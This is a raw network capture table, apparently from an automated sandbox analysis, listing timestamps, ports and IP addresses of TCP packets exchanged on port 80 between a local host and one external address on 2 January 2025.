Jan 2, 2025 19:14:19.702603102 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702610970 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702640057 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702744007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702748060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702795982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702801943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702807903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702819109 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702847004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702852011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702857971 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702860117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702867031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702872992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702897072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702902079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702904940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702908039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702924013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702930927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702936888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702944040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702944994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702950001 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702955961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.702992916 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.702992916 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.703887939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703902006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703908920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703918934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703924894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703929901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703936100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703942060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703947067 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703952074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703958035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703963041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703969002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703974009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703975916 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.703980923 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.703985929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704010963 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704010963 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704030991 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704035997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704041958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704049110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704054117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704058886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704062939 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704070091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704072952 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704087973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704092979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704097986 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704103947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704108000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704113960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704118967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704118967 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704118967 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704123974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704130888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704135895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704139948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704160929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704163074 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704168081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704174042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704179049 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704201937 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704201937 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704226017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704231024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704237938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704243898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704246998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704252005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704268932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704273939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704274893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704315901 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704315901 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704369068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704423904 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704447985 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704478979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704538107 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704564095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704571009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704576015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704582930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704587936 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704593897 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704598904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704606056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704617023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704626083 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704679966 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704725027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704740047 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704745054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704750061 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704756975 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704761028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704772949 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704778910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704781055 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704785109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704797029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704799891 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704803944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704809904 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704814911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704817057 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704821110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704827070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704833031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704835892 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704847097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704854012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704859018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704869032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704870939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704874992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704881907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704885006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704885960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704901934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704909086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704914093 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704916954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704920053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704926014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704938889 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704941034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704947948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704953909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704958916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704962969 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.704966068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.704991102 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.705029964 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.767158031 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767167091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767179966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767185926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767191887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767196894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767205000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.767265081 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.767318010 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.803970098 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.803977966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.803992033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804004908 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804012060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804018021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804023027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804071903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804076910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804084063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804088116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804088116 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.804147959 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.804166079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804171085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804183006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804188967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804193974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804203033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804210901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804214954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804250956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.804250956 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.804964066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804970026 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804977894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804986954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804992914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.804999113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805010080 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805027962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805061102 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805089951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805097103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805103064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805109024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805124998 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805147886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805155039 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805160999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805166006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805170059 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805172920 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805232048 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805258989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805264950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805270910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805288076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805291891 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805303097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805308104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805313110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805318117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805322886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805334091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805336952 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805344105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805352926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805362940 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805366993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805372953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805377960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805383921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805388927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805391073 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805394888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805406094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805414915 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805422068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805425882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805427074 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805427074 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805430889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805438995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805455923 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805474043 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805496931 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805501938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805506945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805511951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805516958 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805521965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805526018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805527925 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805531025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805561066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805566072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805571079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805571079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805577993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805587053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805608034 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805618048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805624008 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805629969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805633068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805638075 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805651903 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805656910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805663109 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805668116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805670977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805706024 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805706024 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805737972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805743933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805749893 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805754900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805759907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805764914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805800915 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805819035 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805823088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805829048 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805835009 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805888891 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805888891 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805897951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805905104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805911064 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805943966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805954933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805959940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805964947 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805969954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805975914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.805975914 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.805982113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806020975 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806057930 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806063890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806065083 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806070089 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806076050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806081057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806087017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806114912 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806183100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806189060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806193113 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806195021 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806200981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806205988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806210995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806216955 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806221962 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806226969 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806231022 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806232929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806258917 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806265116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806269884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806281090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.806291103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806308031 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806308031 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.806349993 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.857868910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.857877016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.857882977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.857893944 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.857901096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.857906103 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.857918024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.858000040 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.858027935 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.894761086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894768953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894774914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894783020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894788027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894794941 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894845009 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.894859076 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894871950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894877911 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894887924 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:19.894889116 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894895077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894900084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894906998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894912004 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894918919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:19.894922972 CET	80	49704	147.45.44.131	192.168.2.8
